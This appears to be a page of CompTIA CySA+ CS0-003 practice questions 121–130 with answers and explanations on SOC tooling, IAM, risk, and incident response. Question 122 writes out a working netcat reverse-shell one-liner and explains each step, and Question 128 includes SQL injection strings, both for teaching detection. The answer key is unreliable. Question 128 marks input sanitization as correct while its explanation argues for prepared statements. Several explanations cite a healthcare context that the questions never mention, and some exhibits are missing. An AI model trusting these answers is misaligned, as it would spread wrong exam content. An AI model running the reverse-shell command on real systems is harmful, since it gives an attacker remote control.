CompTIA certification · Exam CS0-003

CS0-003 Mock Exam Page 13

CompTIA CySA+

Free CS0-003 mock exam questions 121–130, each with the answer and an explanation.

20 questions · 39 minutes · free, no sign-up

Free CS0-003 questions

121–130 of 151 free
Question 121 Choose 1
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
Show answerHide answer

Correct answer: C SOAR

Explanation

Explanation:

In modern security operations, minimizing human engagement and improving process efficiency are key goals. This is especially important for handling repetitive tasks, reducing alert fatigue, and accelerating incident response. According to CompTIA CySA+ CS0-003 exam guidance, automation and orchestration are central to achieving these goals.

Correct Answer:

SOAR platforms are designed to automate and orchestrate security workflows, enabling faster and more consistent incident response. They integrate with other tools like SIEMs, firewalls, and ticketing systems to:

Automatically triage alerts

Execute predefined playbooks

Reduce manual intervention

Improve consistency and accuracy in response actions

By doing so, SOAR helps security teams scale operations, reduce human error, and focus on strategic tasks. CompTIA highlights SOAR as a key enabler of process improvement and automation in security operations.

Incorrect Answers:

OSSTMM (Open Source Security Testing Methodology Manual) This is a security testing framework, not a tool. It provides guidelines for conducting assessments but does not automate or orchestrate operations.

SIEM (Security Information and Event Management) SIEMs collect and correlate logs, but they do not automate response actions. They require human analysts to interpret alerts and take action, unless integrated with SOAR.

QVVASP This appears to be a distractor or non-standard acronym. It is not recognized in CompTIA’s official materials or industry-standard security frameworks.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide
CompTIA CySA+ CS0-003 Exam Objectives – Domain 2.4: Use appropriate tools and techniques to reduce alert fatigue
Question 122 Choose 1
A security analyst detected the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f

Which of the following most likely describes the activity?
Show answerHide answer

Correct answer: D Reverse shell

Explanation

Explanation:

The question asks which activity is most likely described by the suspicious command: rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f. This command creates a reverse shell, allowing an attacker to gain remote command execution on the compromised system by connecting it to a remote server (10.0.0.1:1234). This aligns with the CS0-003 exam’s Incident Response and Management (Domain 3) and Security Operations (Domain 1) objectives, which emphasize identifying malicious activities and indicators of compromise (IOCs) in system logs.

Command Breakdown:

rm -f /tmp/f: Removes any existing file named /tmp/f to avoid conflicts.

mknod /tmp/f p: Creates a named pipe (FIFO) at /tmp/f for inter-process communication.

cat /tmp/f | /bin/sh -i 2>&1: Reads from the named pipe and pipes it to an interactive shell (/bin/sh -i), redirecting both standard error (2>&1) and output.

| nc 10.0.0.1 1234 > /tmp/f: Uses netcat (nc) to connect to IP 10.0.0.1 on port 1234, sending shell output to the remote server and writing incoming commands back to the named pipe.

Overall Effect: Establishes a reverse shell, where the compromised system initiates a connection to the attacker’s server (10.0.0.1:1234), allowing remote command execution.

Why D is Correct:

Reverse Shell Definition: A reverse shell occurs when a compromised system connects outbound to an attacker’s server, providing a command shell (e.g., /bin/sh) for remote control. The command uses netcat to establish this connection, a common reverse shell technique.

Suspicious Activity: The command creates a persistent communication channel, enabling the attacker to execute commands remotely, a hallmark of a reverse shell. This is consistent with the suspicious activity detected by the analyst.

Healthcare Context: In a healthcare organization (per prior questions), a reverse shell could allow attackers to access PHI or disrupt critical systems, making detection and containment critical for HIPAA compliance.

CS0-003 Alignment: Domain 3 emphasizes identifying IOCs like malicious commands in logs, while Domain 1 supports monitoring for unauthorized network connections, both pointing to a reverse shell.

Why Other Options Are Incorrect:

A. Network pivoting
Reason: Network pivoting involves using a compromised system to access other network segments (e.g., using it as a relay). The command establishes a reverse shell to an external IP (10.0.0.1), not a pivot to other internal systems, making this less accurate.

B. Host scanning
Reason: Host scanning involves probing systems to identify open ports or vulnerabilities (e.g., using nmap). The command executes a shell and connects to a remote server, not scanning activity, so this option is irrelevant.

C. Privilege escalation
Reason: Privilege escalation involves gaining higher permissions (e.g., from user to root). The command runs a shell with existing permissions and connects externally, with no indication of elevating privileges (e.g., no sudo or exploit attempts), making reverse shell the better fit.

Additional Context:

Detection: The command might appear in logs (e.g., /var/log/syslog, process monitoring via ps aux), SIEM alerts, or network traffic (e.g., outbound connection to 10.0.0.1:1234). The analyst likely detected it in a web server log, aligning with prior healthcare-related questions.

Containment: Immediate actions include blocking the outbound connection (e.g., firewall rule to drop traffic to 10.0.0.1:1234) and isolating the system, per incident response best practices.

CS0-003 Relevance: Domain 3 tests analyzing malicious commands in logs, often via performance-based questions (PBQs), while Domain 1 emphasizes detecting unauthorized network activity.

Reference:

CompTIA CySA+ (CS0-003) Exam Objectives, Domains 1 (Security Operations) and 3 (Incident Response and Management), covering IOC analysis and malicious command detection.
Question 123 Choose 1
Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?
Show answerHide answer

Correct answer: A Mean time to detect

Explanation

Explanation :

When an organization has recently invested in SIEM (Security Information and Event Management), SOAR (Security Orchestration, Automation, and Response), and a ticketing system, the goal is to streamline detection and response workflows. These tools are designed to reduce manual effort, correlate alerts, and accelerate incident handling. Therefore, the most relevant metric to focus on is one that reflects how quickly threats are identified.

Correct Answer:

Mean time to detect:
Mean Time to Detect (MTTD) measures the average time it takes to identify a security incident after it occurs. With SIEM aggregating and correlating logs, SOAR automating responses, and ticketing systems tracking incidents, MTTD becomes a key performance indicator of how effective these tools are in early threat recognition. A lower MTTD means faster detection, which leads to quicker containment and reduced impact. CompTIA CySA+ CS0-003 emphasizes MTTD as a critical metric for evaluating the success of security operations investments, especially when automation and orchestration are involved.

Incorrect Answers:

Number of exploits by tactic:
This is more of a threat intelligence or reporting metric. It doesn’t reflect operational efficiency or tool performance.

Alert volume:
High alert volume may indicate poor tuning or excessive noise. It’s not a success metric—it’s something to reduce.

Quantity of intrusion attempts:
This reflects threat landscape activity, not how well the organization detects or responds to incidents.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide
CompTIA CySA+ CS0-003 Exam Objectives – Domain 4.2: Use metrics to measure the effectiveness of security operations.
Question 124 Choose 1
Which of the following does "federation" most likely refer to within the context of identity and access management?
Show answerHide answer

Correct answer: B An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains

Explanation

Explanation:

In the context of Identity and Access Management (IAM), federation refers to a system that links a user's identity across multiple, distinct security domains, allowing for Single Sign-On (SSO) between trusted organizations or services. With federated identity, a user can authenticate once with their home identity provider (IdP) and then access external systems or domains without needing separate credentials.

Common standards and technologies used in federation include:

SAML (Security Assertion Markup Language)

OAuth

OpenID Connect

Example:

A company employee logs into Microsoft 365 using their corporate credentials and then seamlessly accesses Salesforce or AWS without logging in again—thanks to identity federation between the services.

Why the other options are incorrect:

"Facilitating groups of users in a similar function..."
→ This refers to Role-Based Access Control (RBAC), not federation.

"Utilizing a combination of what you know, who you are..."
→ This defines Multi-Factor Authentication (MFA).

"Correlating one's identity with the attributes..."
→ This is describing Attribute-Based Access Control (ABAC), not federation.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide, section on Identity and Access Management Federation is defined as “a form of SSO that allows identities to be used across different organizations or domains.”
Question 125 Choose 1
A security analyst is reviewing a recent vulnerability scan report for a new server infrastructure. The analyst would like to make the best use of time by resolving the most critical vulnerability first. The following information is provided:



Which of the following should the analyst concentrate remediation efforts on first?
Show answerHide answer

Correct answer: B SVR02

Explanation

Explanation:

When prioritizing which vulnerability to remediate first, CompTIA CySA+ teaches that you must go beyond just looking at the CVSS score. The key factors are:

Exploitability – A vulnerability with a known, available exploit poses a real and immediate risk.

Asset priority – Systems that are more important to the business should be better protected.

Severity (CVSS score) – The technical severity still matters, but it must be evaluated in context.

In this case:

SVR02 has a known exploit, meaning an attacker can take advantage of it right now.

Its asset priority is medium, meaning it’s important enough to warrant protection.

The CVSS score is 7.1, which is considered high severity.

Even though SVR01 has a higher CVSS score (8.9), it has no known exploit, so it’s not an immediate threat.

SVR04 has high asset priority but no exploit and a lower CVSS.

SVR03 is exploitable but on a low-priority system with a low CVSS.

Therefore, SVR02 poses the highest combination of real-world risk and business impact, and should be remediated first.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide — Vulnerability Management section explains that exploitability + asset value take priority over raw CVSS score alone.
Question 126 Choose 1
Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?
Show answerHide answer

Correct answer: C Add data enrichment for IPS in the ingestion pipleline.

Explanation

Explanation:

The question asks for the method that would help a security analyst quickly determine whether an IP address in a SIEM alert is a known-malicious IP address. Adding data enrichment for IPs in the ingestion pipeline is the most effective approach, as it automatically correlates the IP address with threat intelligence during log ingestion, providing immediate context within the SIEM alert. This aligns with the CS0-003 exam’s Security Operations (Domain 1) and Incident Response and Management (Domain 3) objectives, which emphasize efficient threat detection and integration of threat intelligence in SOC workflows.

Why C is Correct:

Data Enrichment Overview: Data enrichment involves integrating external threat intelligence (e.g., known-malicious IP lists from feeds like AlienVault OTX, VirusTotal) into the SIEM’s ingestion pipeline. When a log or alert containing an IP address is processed, the SIEM automatically cross-references it with threat intelligence, flagging it as malicious if it matches.

Speed and Efficiency: Enrichment embeds malicious IP context directly into the SIEM alert (e.g., adding a “malicious” tag or reputation score), allowing the analyst to see the status instantly without manual lookups, meeting the need to “quickly find out.”

Healthcare Context: In a healthcare organization (per prior questions), rapid identification of malicious IPs in alerts (e.g., for ransomware or phishing attempts) protects PHI and ensures HIPAA compliance by minimizing response time. CS0-003 Alignment: Domain 1 emphasizes automating threat detection with integrated tools, while Domain 3 supports rapid incident analysis using enriched data, both favoring data enrichment in the SIEM pipeline.

Why Other Options Are Less Effective:

A. Join an information sharing and analysis center specific to the company’s industry
Reason: Joining an ISAC (e.g., H-ISAC for healthcare) provides access to industry-specific threat intelligence, including malicious IPs, but it’s a long-term strategy, not an immediate solution for quick identification. It requires manual integration or additional processes, slowing down the analyst’s workflow compared to automated enrichment.

B. Upload threat intelligence to the IPS in STIX/TAXII format
Reason: Uploading threat intelligence to an Intrusion Prevention System (IPS) in STIX/TAXII format enhances network blocking but doesn’t directly help the analyst verify IPs within SIEM alerts. The IPS operates separately from the SIEM, requiring additional steps to correlate data, making it less efficient for quick identification.

D. Review threat feeds after viewing the SIEM alert
Reason: Manually reviewing threat feeds (e.g., checking IPs against VirusTotal or a feed like FireEye) after seeing the SIEM alert is time-consuming and inefficient compared to automated enrichment. It requires the analyst to leave the SIEM, perform external lookups, and correlate results, delaying response time.

Additional Context:

Data Enrichment Process:

Configure the SIEM (e.g., Splunk, QRadar) to integrate with threat intelligence feeds (e.g., via API or STIX/TAXII).

Example: Enrich logs with IP reputation data, adding fields like “IP_malicious: true” to alerts.

Tools: ThreatConnect, Recorded Future, or open-source feeds like AbuseIPDB.

Example: A SIEM alert for traffic to 192.168.1.100 is enriched with a note: “Known C2 server per VirusTotal,” enabling instant analyst action.

CS0-003 Relevance: Domain 1 tests automating SOC processes with threat intelligence, while Domain 3 emphasizes rapid IOC analysis, both favoring enrichment for efficiency.

Healthcare Relevance: Quick identification of malicious IPs prevents phishing or ransomware attacks, protecting PHI and ensuring compliance.

Reference:

CompTIA CySA+ (CS0-003) Exam Objectives, Domains 1 (Security Operations) and 3 (Incident Response and Management), covering threat intelligence integration and alert analysis.
Question 127 Choose 1
Which of the following risk management decisions should be considered after evaluating other options?
Show answerHide answer

Correct answer: B Acceptance

Explanation

Explanation :

Risk acceptance is the decision to acknowledge a risk without taking further action to mitigate, transfer, or avoid it. This approach is typically chosen after evaluating all other options and determining that the cost or effort of mitigation outweighs the potential impact of the risk. It’s often used when

The risk is low in severity or likelihood

The organization has limited resources

The impact is within tolerable thresholds

According to CompTIA CySA+ CS0-003, risk acceptance is considered a last resort when other strategies—such as mitigation, transfer, or avoidance—are not feasible or cost-effective. It requires formal documentation and executive approval to ensure accountability.

Why the Other Options Are Less Appropriate in This Context:

Transfer: Involves shifting the risk to a third party (e.g., through insurance or outsourcing). This is a proactive strategy and is typically considered before acceptance.

Mitigation: Focuses on reducing the likelihood or impact of a risk through controls or safeguards. It’s one of the first options considered during risk management.

Avoidance: Eliminates the risk entirely by not engaging in the activity that causes it. This is a preventive measure and is evaluated early in the decision-making process.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide CompTIA CySA+ CS0-003 Exam Objectives – Domain 4.1: Apply security concepts to support organizational risk mitigation
Question 128 Choose 1
A security analyst found the following vulnerability on the company’s website:



Which of the following should be implemented to prevent this type of attack in the future?
Show answerHide answer

Correct answer: A Input sanitization

Explanation

Explanation:

The question asks which measure should be implemented to prevent a vulnerability found on the company’s website, though specific details about the vulnerability are not provided. Given the context of a website and common vulnerabilities (aligned with prior CS0-003 questions, such as buffer overflows or phishing), the most likely vulnerability is SQL injection, as it’s a prevalent web application issue and matches the provided options, particularly prepared statements. Prepared statements are the best method to prevent SQL injection attacks by ensuring user inputs are properly parameterized, preventing malicious SQL code execution. This aligns with the CS0-003 exam’s Vulnerability Management (Domain 2) and Security Operations (Domain 1) objectives, which emphasize secure coding practices and mitigating web application vulnerabilities.

Assumed Vulnerability: Since the question doesn’t specify the vulnerability, SQL injection is inferred as the most likely issue, as:

It’s a common website vulnerability.

Prepared statements (option D) are a standard mitigation for SQL injection.

Other options (e.g., input sanitization, output encoding) are less specific to SQL injection, and prior questions (e.g., buffer overflow mitigation) suggest a focus on application-level fixes.

Why D is Correct:

Prepared Statements Overview: Prepared statements (or parameterized queries) precompile SQL queries, separating user input from the query structure. This prevents attackers from injecting malicious SQL code (e.g., 1 OR 1=1) by treating inputs as data, not executable code.

Preventing SQL Injection: For a website vulnerability like SQL injection, prepared statements ensure inputs (e.g., form fields) cannot alter the query’s logic, mitigating attacks that could extract data (e.g., PHI in a healthcare context) or bypass authentication.

Healthcare Context: In a healthcare organization (per prior questions), SQL injection could expose PHI from a database (e.g., patient records), violating HIPAA. Prepared statements protect sensitive data by securing database interactions.

CS0-003 Alignment: Domain 2 emphasizes mitigating application vulnerabilities through secure coding, while Domain 1 supports protecting web applications, both favoring prepared statements for SQL injection prevention.

Example:

Vulnerable code: SELECT * FROM users WHERE username = '$input'

Fixed with prepared statements (e.g., in PHP):$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$input]);

Why Other Options Are Incorrect:

A. Input sanitization:

Reason: Input sanitization (e.g., stripping special characters) can reduce SQL injection risks but is less reliable than prepared statements, as it may miss complex attack patterns (e.g., encoded injections). It’s also broader, applying to multiple vulnerabilities (e.g., XSS), but not the definitive fix for SQL injection.

B. Output encoding

Reason: Output encoding (e.g., HTML encoding with htmlspecialchars) prevents cross-site scripting (XSS) by escaping output to the browser, not SQL injection, which occurs at the database query level. It’s irrelevant to the inferred vulnerability.

C. Code obfuscation

Reason: Code obfuscation hides application code to make reverse engineering harder but doesn’t prevent SQL injection, which exploits user input handling, not code visibility. It’s not a security control for this vulnerability.

Additional Context:

SQL Injection Scenario: An attacker submits malicious input (e.g., ' OR '1'='1) via a website form, extracting database contents. Prepared statements prevent this by parameterizing inputs.

Implementation:

In Python: cursor.execute("SELECT * FROM users WHERE username = %s", (input,))

In Java: PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?"); stmt.setString(1, input);

CS0-003 Relevance: Domain 2 tests secure coding practices for web vulnerabilities, often via performance-based questions (PBQs), while Domain 1 emphasizes protecting web applications.

Healthcare Relevance: Preventing SQL injection protects PHI, ensuring HIPAA compliance and patient data security.

Reference:

CompTIA CySA+ (CS0-003) Exam Objectives, Domains 1 (Security Operations) and 2 (Vulnerability Management), covering secure coding and web application security.
Question 129 Choose 1
Which of the following best explains the importance of the implementation of a secure software development life cycle in a company with an internal development team?
Show answerHide answer

Correct answer: B Decreases the risks of the software usage and complies with regulatory requirements

Explanation

Explanation:

Implementing a Secure Software Development Life Cycle (SSDLC) is crucial for any organization with an internal development team. According to the CompTIA CySA+ CS0-003 Official Study Guide, SSDLC ensures that security is integrated into every phase of software development — from planning to design, coding, testing, deployment, and maintenance.

The key benefits are:

Risk Reduction: By identifying and fixing security flaws early, the organization reduces the risk of vulnerabilities making it into production.

Regulatory Compliance: Many industries (e.g., finance, healthcare) require secure development practices as part of compliance frameworks like PCI DSS, HIPAA, or GDPR.

Better overall software quality: Secure coding practices lead to more robust and resilient applications.

Why the other options are incorrect:
"Increases the product price by using the implementation as a piece of marketing"
→ Security is not implemented for marketing purposes.This does not reflect the purpose of SSDLC.

"Improves the agile process and decreases the amount of tests before the final deployment"
→ SSDLC often increases testing and validation—not reduces it—because security checks are integrated throughout.

"Transfers the responsibility for security flaws to the vulnerability management team"
→ SSDLC promotes shared responsibility. Developers are accountable for building secure code—not offloading it to another team later.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide, topic: Secure Coding & SSDLC Principles Emphasizes that SSDLC reduces software risk and helps meet security and compliance objectives.
Question 130 Choose 1
Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?
Show answerHide answer

Correct answer: A To establish what information is allowed to be released by designated employees

Explanation

Explanation:

In the context of incident response and organizational communication, it is essential that only authorized individuals communicate publicly about incidents (such as data breaches or system outages). This is part of an official Public Communication Plan.

According to the CompTIA CySA+ CS0-003 Official Study Guide, this practice helps:

Prevent misinformation or leaks

Protect sensitive data

Ensure legal and regulatory compliance

Maintain the organization’s reputation

Communicating with staff ensures they understand:

What they can and cannot say

Who is authorized to speak to the media or public

Where to direct inquiries (e.g., to PR or legal teams)

Why the other options are incorrect:

"To designate an external public relations firm to represent the organization"

→ That may be part of the plan, but communicating with staff is about internal alignment, not vendor selection.

"To ensure that all news media outlets are informed at the same time"

→ That's part of media strategy, not the purpose of internal staff communication.

"To define how each employee will be contacted after an event occurs"

→ That pertains to a business continuity or emergency notification plan, not public communication policy.

Reference:

CompTIA CySA+ CS0-003 Official Study Guide, section on Communication Plans in Incident Response Describes the importance of defining communication protocols and educating staff on what information can be shared publicly.
Full mock exam

Sit the CS0-003 exam before exam day

Full-length mocks with the same number of questions and the same time limit as the real CS0-003 exam. Every attempt draws a new set of questions from the full bank, so you can keep going until you pass comfortably.

Get full CS0-003 mock exam
  • 85questions per mock
  • 165 mintime limit
  • 506questions in the bank
  • Newmock on every attempt